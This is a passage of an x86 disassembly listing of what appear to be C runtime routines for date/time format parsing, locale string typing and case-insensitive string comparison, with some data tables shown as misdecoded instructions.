; ---------------------------------------------------------------------------
loc_43534D: ; CODE XREF: sub_435310+5Fj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_435356: ; CODE XREF: sub_435310+3Bj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
cmp eax, edx
jnz short loc_435371
jmp short loc_43534D
; ---------------------------------------------------------------------------
loc_435371: ; CODE XREF: sub_435310+5Dj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
sub edx, 27h
mov [ebp+var_14], edx
cmp [ebp+var_14], 52h
ja loc_4356E0
mov ecx, [ebp+var_14]
xor eax, eax
mov al, ds:byte_4357BC[ecx]
jmp ds:off_435790[eax*4]
loc_4353A8: ; DATA XREF: seg000:0043579Co
mov edx, [ebp+var_C]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
sub eax, 1
mov [ebp+var_18], eax
cmp [ebp+var_18], 3
ja short loc_4353E1
mov ecx, [ebp+var_18]
jmp dword ptr ds:loc_43580F[ecx*4]
mov ds:dword_4EED0C, 1
loc_4353D1: ; CODE XREF: sub_435310+B0j
mov [ebp+var_8], 6Dh
jmp short loc_4353E1
; ---------------------------------------------------------------------------
loc_4353D7: ; CODE XREF: sub_435310+B0j
mov [ebp+var_8], 62h
jmp short loc_4353E1
; ---------------------------------------------------------------------------
loc_4353DD: ; CODE XREF: sub_435310+B0j
mov [ebp+var_8], 42h
loc_4353E1: ; CODE XREF: sub_435310+ABj
; sub_435310+C5j ...
jmp loc_4356E0
; ---------------------------------------------------------------------------
loc_4353E6: ; CODE XREF: sub_435310+91j
; DATA XREF: seg000:004357A0o
mov edx, [ebp+var_C]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
sub eax, 1
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 3
ja short loc_43541F
mov ecx, [ebp+var_1C]
jmp dword ptr ds:loc_43581E+1[ecx*4]
loc_435405: ; CODE XREF: sub_435310+B0j
mov ds:dword_4EED0C, 1
loc_43540F: ; CODE XREF: sub_435310+B0j
; sub_435310+EEj
mov [ebp+var_8], 64h
jmp short loc_43541F
; ---------------------------------------------------------------------------
loc_435415: ; CODE XREF: sub_435310+B0j
; sub_435310+EEj
mov [ebp+var_8], 61h
jmp short loc_43541F
; ---------------------------------------------------------------------------
loc_43541B: ; CODE XREF: sub_435310+B0j
; sub_435310+EEj
mov [ebp+var_8], 41h
loc_43541F: ; CODE XREF: sub_435310+E9j
; sub_435310+103j ...
jmp loc_4356E0
; ---------------------------------------------------------------------------
loc_435424: ; CODE XREF: sub_435310+91j
; DATA XREF: seg000:004357B4o
mov edx, [ebp+var_C]
mov [ebp+var_20], edx
cmp [ebp+var_20], 2
jz short loc_435438
cmp [ebp+var_20], 4
jz short loc_43543E
jmp short loc_435442
; ---------------------------------------------------------------------------
loc_435438: ; CODE XREF: sub_435310+11Ej
mov [ebp+var_8], 79h
jmp short loc_435442
; ---------------------------------------------------------------------------
loc_43543E: ; CODE XREF: sub_435310+124j
mov [ebp+var_8], 59h
loc_435442: ; CODE XREF: sub_435310+126j
; sub_435310+12Cj
jmp loc_4356E0
; ---------------------------------------------------------------------------
loc_435447: ; CODE XREF: sub_435310+91j
; DATA XREF: seg000:004357A4o
mov eax, [ebp+var_C]
mov [ebp+var_24], eax
cmp [ebp+var_24], 1
jz short loc_43545B
cmp [ebp+var_24], 2
jz short loc_435465
jmp short loc_435469
; ---------------------------------------------------------------------------
loc_43545B: ; CODE XREF: sub_435310+141j
mov ds:dword_4EED0C, 1
loc_435465: ; CODE XREF: sub_435310+147j
mov [ebp+var_8], 49h
loc_435469: ; CODE XREF: sub_435310+149j
jmp loc_4356E0
; ---------------------------------------------------------------------------
loc_43546E: ; CODE XREF: sub_435310+91j
; DATA XREF: seg000:00435798o
mov ecx, [ebp+var_C]
mov [ebp+var_28], ecx
cmp [ebp+var_28], 1
jz short loc_435482
cmp [ebp+var_28], 2
jz short loc_43548C
jmp short loc_435490
; ---------------------------------------------------------------------------
loc_435482: ; CODE XREF: sub_435310+168j
mov ds:dword_4EED0C, 1
loc_43548C: ; CODE XREF: sub_435310+16Ej
mov [ebp+var_8], 48h
loc_435490: ; CODE XREF: sub_435310+170j
jmp loc_4356E0
; ---------------------------------------------------------------------------
loc_435495: ; CODE XREF: sub_435310+91j
; DATA XREF: seg000:004357A8o
mov edx, [ebp+var_C]
mov [ebp+var_2C], edx
cmp [ebp+var_2C], 1
jz short loc_4354A9
cmp [ebp+var_2C], 2
jz short loc_4354B3
jmp short loc_4354B7
; ---------------------------------------------------------------------------
loc_4354A9: ; CODE XREF: sub_435310+18Fj
mov ds:dword_4EED0C, 1
loc_4354B3: ; CODE XREF: sub_435310+195j
mov [ebp+var_8], 4Dh
loc_4354B7: ; CODE XREF: sub_435310+197j
jmp loc_4356E0
; ---------------------------------------------------------------------------
loc_4354BC: ; CODE XREF: sub_435310+91j
; DATA XREF: seg000:004357ACo
mov eax, [ebp+var_C]
mov [ebp+var_30], eax
cmp [ebp+var_30], 1
jz short loc_4354D0
cmp [ebp+var_30], 2
jz short loc_4354DA
jmp short loc_4354DE
; ---------------------------------------------------------------------------
loc_4354D0: ; CODE XREF: sub_435310+1B6j
mov ds:dword_4EED0C, 1
loc_4354DA: ; CODE XREF: sub_435310+1BCj
mov [ebp+var_8], 53h
loc_4354DE: ; CODE XREF: sub_435310+1BEj
jmp loc_4356E0
; ---------------------------------------------------------------------------
loc_4354E3: ; CODE XREF: sub_435310+91j
; DATA XREF: seg000:00435794o
push offset aAmPm ; "am/pm"
mov ecx, [ebp+arg_0]
push ecx
call sub_435D40
add esp, 8
test eax, eax
jnz short loc_435503
mov edx, [ebp+arg_0]
add edx, 5
mov [ebp+var_4], edx
jmp short loc_435521
; ---------------------------------------------------------------------------
loc_435503: ; CODE XREF: sub_435310+1E6j
push offset aAP ; "a/p"
mov eax, [ebp+arg_0]
push eax
call sub_435D40
add esp, 8
test eax, eax
jnz short loc_435521
mov ecx, [ebp+arg_0]
add ecx, 3
mov [ebp+var_4], ecx
loc_435521: ; CODE XREF: sub_435310+1F1j
; sub_435310+206j
mov [ebp+var_8], 70h
jmp loc_4356E0
; ---------------------------------------------------------------------------
loc_43552A: ; CODE XREF: sub_435310+91j
; DATA XREF: seg000:004357B0o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_435541
mov eax, [ebp+arg_10]
mov ecx, [eax+98h]
mov [ebp+var_10], ecx
jmp short loc_43554D
; ---------------------------------------------------------------------------
loc_435541: ; CODE XREF: sub_435310+221j
mov edx, [ebp+arg_10]
mov eax, [edx+9Ch]
mov [ebp+var_10], eax
loc_43554D: ; CODE XREF: sub_435310+22Fj
; sub_435310+2DFj
cmp [ebp+var_C], 0
jle loc_4355F4
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jbe loc_4355F4
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_4355B7
mov eax, [ebp+arg_C]
cmp dword ptr [eax], 1
jbe short loc_4355B7
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+var_10]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
loc_4355B7: ; CODE XREF: sub_435310+26Ej
; sub_435310+276j
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+var_10]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
jmp loc_43554D
; ---------------------------------------------------------------------------
loc_4355F4: ; CODE XREF: sub_435310+241j
; sub_435310+24Dj
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp loc_435316
; ---------------------------------------------------------------------------
loc_4355FF: ; CODE XREF: sub_435310+91j
; DATA XREF: seg000:off_435790o
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jz loc_4356D2
mov edx, [ebp+arg_0]
add edx, [ebp+var_C]
mov [ebp+arg_0], edx
loc_435616: ; CODE XREF: sub_435310+3BBj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_4356D0
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0
jz loc_4356D0
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 27h
jnz short loc_435649
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp loc_4356D0
; ---------------------------------------------------------------------------
loc_435649: ; CODE XREF: sub_435310+329j
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov edx, ds:off_44FE2C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_43569C
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 1
jbe short loc_43569C
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_43569C: ; CODE XREF: sub_435310+353j
; sub_435310+35Bj
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, 1
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp loc_435616
; ---------------------------------------------------------------------------
loc_4356D0: ; CODE XREF: sub_435310+30Ej
; sub_435310+31Aj ...
jmp short loc_4356DB
; ---------------------------------------------------------------------------
loc_4356D2: ; CODE XREF: sub_435310+2F7j
mov eax, [ebp+arg_0]
add eax, [ebp+var_C]
mov [ebp+arg_0], eax
loc_4356DB: ; CODE XREF: sub_435310:loc_4356D0j
jmp loc_435316
; ---------------------------------------------------------------------------
loc_4356E0: ; CODE XREF: sub_435310+80j
; sub_435310+91j ...
movsx ecx, [ebp+var_8]
test ecx, ecx
jz short loc_43570C
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov al, [ebp+var_8]
push eax
call sub_434B40
add esp, 14h
mov ecx, [ebp+var_4]
mov [ebp+arg_0], ecx
jmp short loc_435787
; ---------------------------------------------------------------------------
loc_43570C: ; CODE XREF: sub_435310+3D6j
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_435758
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_435758: ; CODE XREF: sub_435310+417j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [ebp+arg_0]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_435787: ; CODE XREF: sub_435310+3FAj
jmp loc_435316
; ---------------------------------------------------------------------------
loc_43578C: ; CODE XREF: sub_435310+Ej
; sub_435310+1Aj
mov esp, ebp
pop ebp
retn
sub_435310 endp
; ---------------------------------------------------------------------------
off_435790 dd offset loc_4355FF ; DATA XREF: sub_435310+91r
dd offset loc_4354E3
dd offset loc_43546E
dd offset loc_4353A8
dd offset loc_4353E6
dd offset loc_435447
dd offset loc_435495
dd offset loc_4354BC
dd offset loc_43552A
dd offset loc_435424
dd offset loc_4356E0
byte_4357BC db 0 ; DATA XREF: sub_435310+8Br
; ---------------------------------------------------------------------------
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or al, [ecx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
add cl, [edx]
or cl, [edx]
or al, [ebx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or cl, [edx]
or al, [ecx]
or cl, [edx]
add al, 0Ah
or cl, [edx]
add eax, 0A0A0A0Ah
push es
or cl, [edx]
or cl, [edx]
or al, [edi]
or [edx], cl
or cl, [edx]
or cl, [ecx]
loc_43580F: ; DATA XREF: sub_435310+B0r
mov dword ptr [ebx+43h], 4353D100h
add bh, dl
push ebx
inc ebx
add ch, bl
push ebx
inc ebx
loc_43581E: ; DATA XREF: sub_435310+EEr
add ds:0F004354h, al
push esp
inc ebx
add ds:1B004354h, dl
push esp
inc ebx
add ah, cl
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435830 proc near ; CODE XREF: sub_430880+41p
; sub_430880+60p ...
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0A8h
cmp [ebp+arg_0], 1
jnz loc_435999
mov eax, [ebp+arg_C]
mov [ebp+var_90], eax
lea ecx, [ebp+var_8C]
mov [ebp+var_C], ecx
mov [ebp+var_4], 0
mov [ebp+var_94], 80h
push 0
mov edx, [ebp+var_94]
push edx
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_436820
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz loc_43591F
call ds:dword_4F1310 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_4358A0
jmp loc_43597D
; ---------------------------------------------------------------------------
loc_4358A0: ; CODE XREF: sub_435830+69j
push 0
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_436820
add esp, 14h
mov [ebp+var_94], eax
cmp [ebp+var_94], 0
jnz short loc_4358CA
jmp loc_43597D
; ---------------------------------------------------------------------------
loc_4358CA: ; CODE XREF: sub_435830+93j
push 58h
push offset aInithelp_c ; "inithelp.c"
push 2
mov edx, [ebp+var_94]
push edx
call sub_41AE60
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4358F0
jmp loc_43597D
; ---------------------------------------------------------------------------
loc_4358F0: ; CODE XREF: sub_435830+B9j
mov [ebp+var_4], 1
push 0
mov eax, [ebp+var_94]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_436820
add esp, 14h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_43591F
jmp short loc_43597D
; ---------------------------------------------------------------------------
loc_43591F: ; CODE XREF: sub_435830+5Aj
; sub_435830+EBj
push 63h
push offset aInithelp_c ; "inithelp.c"
push 2
mov ecx, [ebp+var_8]
push ecx
call sub_41AE60
add esp, 10h
mov edx, [ebp+var_90]
mov [edx], eax
mov eax, [ebp+var_90]
cmp dword ptr [eax], 0
jnz short loc_435949
jmp short loc_43597D
; ---------------------------------------------------------------------------
loc_435949: ; CODE XREF: sub_435830+115j
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_90]
mov ecx, [eax]
push ecx
call sub_41D800
add esp, 0Ch
cmp [ebp+var_4], 0
jz short loc_435976
push 2
mov edx, [ebp+var_C]
push edx
call sub_41B8F0
add esp, 8
loc_435976: ; CODE XREF: sub_435830+136j
xor eax, eax
jmp loc_435AB6
; ---------------------------------------------------------------------------
loc_43597D: ; CODE XREF: sub_435830+6Bj
; sub_435830+95j ...
cmp [ebp+var_4], 0
jz short loc_435991
push 2
mov eax, [ebp+var_C]
push eax
call sub_41B8F0
add esp, 8
loc_435991: ; CODE XREF: sub_435830+151j
or eax, 0FFFFFFFFh
jmp loc_435AB6
; ---------------------------------------------------------------------------
loc_435999: ; CODE XREF: sub_435830+Dj
cmp [ebp+arg_0], 0
jnz loc_435AB3
mov [ebp+var_A4], 4
mov ecx, [ebp+arg_C]
mov [ebp+var_9C], ecx
push 0
mov edx, [ebp+var_A4]
push edx
push offset byte_4EECE8
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_436680
add esp, 14h
test eax, eax
jnz short loc_4359E0
or eax, 0FFFFFFFFh
jmp loc_435AB6
; ---------------------------------------------------------------------------
loc_4359E0: ; CODE XREF: sub_435830+1A6j
mov edx, [ebp+var_9C]
mov byte ptr [edx], 0
mov [ebp+var_A0], 0
jmp short loc_435A04
; ---------------------------------------------------------------------------
loc_4359F5: ; CODE XREF: sub_435830:loc_435AAAj
mov eax, [ebp+var_A0]
add eax, 1
mov [ebp+var_A0], eax
loc_435A04: ; CODE XREF: sub_435830+1C3j
cmp [ebp+var_A0], 4
jge loc_435AAF
cmp ds:dword_44FD20, 1
jle short loc_435A4B
push 4
mov ecx, [ebp+var_A0]
mov dl, ds:byte_4EECE8[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
push eax
call sub_423D90
add esp, 8
mov [ebp+var_A8], eax
jmp short loc_435A7E
; ---------------------------------------------------------------------------
loc_435A4B: ; CODE XREF: sub_435830+1E8j
mov ecx, [ebp+var_A0]
mov dl, ds:byte_4EECE8[ecx*2]
mov byte ptr [ebp+var_98], dl
mov eax, [ebp+var_98]
and eax, 0FFh
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_A8], edx
loc_435A7E: ; CODE XREF: sub_435830+219j
cmp [ebp+var_A8], 0
jz short loc_435AA8
mov eax, [ebp+var_9C]
movsx ecx, byte ptr [eax]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_98]
lea eax, [ecx+edx-30h]
mov ecx, [ebp+var_9C]
mov [ecx], al
jmp short loc_435AAA
; ---------------------------------------------------------------------------
loc_435AA8: ; CODE XREF: sub_435830+255j
jmp short loc_435AAF
; ---------------------------------------------------------------------------
loc_435AAA: ; CODE XREF: sub_435830+276j
jmp loc_4359F5
; ---------------------------------------------------------------------------
loc_435AAF: ; CODE XREF: sub_435830+1DBj
; sub_435830:loc_435AA8j
xor eax, eax
jmp short loc_435AB6
; ---------------------------------------------------------------------------
loc_435AB3: ; CODE XREF: sub_435830+16Dj
or eax, 0FFFFFFFFh
loc_435AB6: ; CODE XREF: sub_435830+148j
; sub_435830+164j ...
mov esp, ebp
pop ebp
retn
sub_435830 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, ds:off_451048
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_435AD0: ; CODE XREF: seg000:00431AC6p
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43AED0
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFDCh
push ebx
push esi
push edi
mov [ebp-18h], esp
cmp ds:dword_4EECF4, 0
jnz short loc_435B4E
lea eax, [ebp-1Ch]
push eax
push 1
push offset dword_43A2A8
push 1
call ds:dword_4F12CC ; GetStringTypeW
test eax, eax
jz short loc_435B22
mov ds:dword_4EECF4, 1
jmp short loc_435B4E
; ---------------------------------------------------------------------------
loc_435B22: ; CODE XREF: seg000:00435B14j
lea ecx, [ebp-1Ch]
push ecx
push 1
push offset dword_43A2A4
push 1
push 0
call near ptr 3D0000h
rol dword ptr [ebp-38F38B40h], cl
add eax, offset dword_4EECF4
add al, [eax]
; ---------------------------------------------------------------------------
db 0
dd 3307EB00h, 1DBE9C0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_435B4E: ; CODE XREF: seg000:00435AFDj
; seg000:00435B20j
cmp ds:dword_4EECF4, 1
jnz short loc_435B72
mov edx, [ebp+14h]
push edx
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call ds:dword_4F12CC ; GetStringTypeW
jmp loc_435D29
; ---------------------------------------------------------------------------
loc_435B72: ; CODE XREF: seg000:00435B55j
cmp ds:dword_4EECF4, 2
jnz loc_435D27
cmp dword ptr [ebp+18h], 0
jnz short loc_435B8D
mov eax, ds:dword_4EEA80
mov [ebp+18h], eax
loc_435B8D: ; CODE XREF: seg000:00435B83j
push 0
push 0
push 0
push 0
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
push 220h
mov eax, [ebp+18h]
push eax
call ds:dword_4F1384 ; WideCharToMultiByte
mov [ebp-28h], eax
cmp dword ptr [ebp-28h], 0
jnz short loc_435BBC
xor eax, eax
jmp loc_435D29
; ---------------------------------------------------------------------------
loc_435BBC: ; CODE XREF: seg000:00435BB3j
mov dword ptr [ebp-4], 0
mov eax, [ebp-28h]
add eax, 3
and al, 0FCh
call sub_41DEB0
mov [ebp-30h], esp
mov [ebp-18h], esp
mov ecx, [ebp-30h]
mov [ebp-2Ch], ecx
mov edx, [ebp-28h]
push edx
push 0
mov eax, [ebp-2Ch]
push eax
call sub_41D100
add esp, 0Ch
mov dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_435C0E
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov dword ptr [ebp-2Ch], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
loc_435C0E: ; CODE XREF: seg000:00435BF5j
cmp dword ptr [ebp-2Ch], 0
jnz short loc_435C1B
xor eax, eax
jmp loc_435D29
; ---------------------------------------------------------------------------
loc_435C1B: ; CODE XREF: seg000:00435C12j
push 0
push 0
mov ecx, [ebp-28h]
push ecx
mov edx, [ebp-2Ch]
push edx
mov eax, [ebp+10h]
push eax
mov ecx, [ebp+0Ch]
push ecx
push 220h
mov edx, [ebp+18h]
push edx
call ds:dword_4F1384 ; WideCharToMultiByte
test eax, eax
jnz short loc_435C49
xor eax, eax
jmp loc_435D29
; ---------------------------------------------------------------------------
loc_435C49: ; CODE XREF: seg000:00435C40j
mov dword ptr [ebp-4], 1
mov eax, [ebp-28h]
lea eax, [eax+eax+2]
add eax, 3
and al, 0FCh
call sub_41DEB0
mov [ebp-34h], esp
mov [ebp-18h], esp
mov ecx, [ebp-34h]
mov [ebp-24h], ecx
mov dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_435C8D
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov dword ptr [ebp-24h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
loc_435C8D: ; CODE XREF: seg000:00435C74j
cmp dword ptr [ebp-24h], 0
jnz short loc_435C9A
xor eax, eax
jmp loc_435D29
; ---------------------------------------------------------------------------
loc_435C9A: ; CODE XREF: seg000:00435C91j
cmp dword ptr [ebp+1Ch], 0
jnz short loc_435CA9
mov edx, ds:dword_4EEA70
mov [ebp+1Ch], edx
loc_435CA9: ; CODE XREF: seg000:00435C9Ej
mov eax, [ebp+10h]
mov ecx, [ebp-24h]
mov word ptr [ecx+eax*2], 0FFFFh
mov edx, [ebp+10h]
mov eax, [ebp-24h]
mov word ptr [eax+edx*2-2], 0FFFFh
mov ecx, [ebp-24h]
push ecx
mov edx, [ebp-28h]
push edx
mov eax, [ebp-2Ch]
push eax
mov ecx, [ebp+8]
push ecx
mov edx, [ebp+1Ch]
push edx
call near ptr 3D0000h
xor eax, 8BE04589h
inc ebp
adc [ebx-2DCC23B3h], cl
mov dx, [ecx+eax*2-2]
cmp edx, 0FFFFh
jz short loc_435D08
mov eax, [ebp+10h]
mov ecx, [ebp-24h]
xor edx, edx
mov dx, [ecx+eax*2]
cmp edx, 0FFFFh
jz short loc_435D0C
loc_435D08: ; CODE XREF: seg000:00435CF2j
xor eax, eax
jmp short loc_435D29
; ---------------------------------------------------------------------------
loc_435D0C: ; CODE XREF: seg000:00435D06j
mov eax, [ebp+10h]
shl eax, 1
push eax
mov ecx, [ebp-24h]
push ecx
mov edx, [ebp+14h]
push edx
call sub_41F9A0
add esp, 0Ch
mov eax, [ebp-20h]
jmp short loc_435D29
; ---------------------------------------------------------------------------
loc_435D27: ; CODE XREF: seg000:00435B79j
xor eax, eax
loc_435D29: ; CODE XREF: seg000:00435B6Dj
; seg000:00435BB7j ...
lea esp, [ebp-40h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435D40 proc near ; CODE XREF: sub_40F19D+15Fp
; sub_431EE0+40p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4EEA68
cmp dword ptr [eax+8], 0
jnz short loc_435D93
mov al, 0FFh
mov edi, edi
loc_435D5C: ; CODE XREF: sub_435D40+28j
; sub_435D40+48j
or al, al
jz short loc_435D8E
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_435D5C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_435D5C
sbb al, al
sbb al, 0FFh
loc_435D8E: ; CODE XREF: sub_435D40+1Ej
movsx eax, al
jmp short loc_435E0B
; ---------------------------------------------------------------------------
loc_435D93: ; CODE XREF: sub_435D40+16j
lock inc ds:dword_4EED14
cmp ds:dword_4EED10, 0
jg short loc_435DA7
push 0
jmp short loc_435DBC
; ---------------------------------------------------------------------------
loc_435DA7: ; CODE XREF: sub_435D40+61j
lock dec ds:dword_4EED14
push 13h
call sub_421A80
mov [esp+10h+var_10], 1
loc_435DBC: ; CODE XREF: sub_435D40+65j
mov eax, 0FFh
xor ebx, ebx
nop
loc_435DC4: ; CODE XREF: sub_435D40+90j
; sub_435D40+A8j
or al, al
jz short loc_435DEF
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_435DC4
push eax
push ebx
call sub_420A00
mov ebx, eax
add esp, 4
call sub_420A00
add esp, 4
cmp bl, al
jz short loc_435DC4
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_435DEF: ; CODE XREF: sub_435D40+86j
mov ebx, eax
pop eax
or eax, eax
jnz short loc_435DFF
lock dec ds:dword_4EED14
jmp short loc_435E09
; ---------------------------------------------------------------------------
loc_435DFF: ; CODE XREF: sub_435D40+B4j
push 13h
call sub_421B20
add esp, 4
loc_435E09: ; CODE XREF: sub_435D40+BDj
mov eax, ebx
loc_435E0B: ; CODE XREF: sub_435D40+51j
pop ebx
pop esi
pop edi
leave
retn
sub_435D40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435E10 proc near ; CODE XREF: sub_432030+11Bp
; sub_432030+2D4p ...
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
or ecx, ecx
jz loc_435F0A
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
lea eax, dword_4EEA68
cmp dword ptr [eax+8], 0
jnz short loc_435E81
mov bh, 41h
mov bl, 5Ah
mov dh, 20h
lea ecx, [ecx+0]
loc_435E3C: ; CODE XREF: sub_435E10+53j
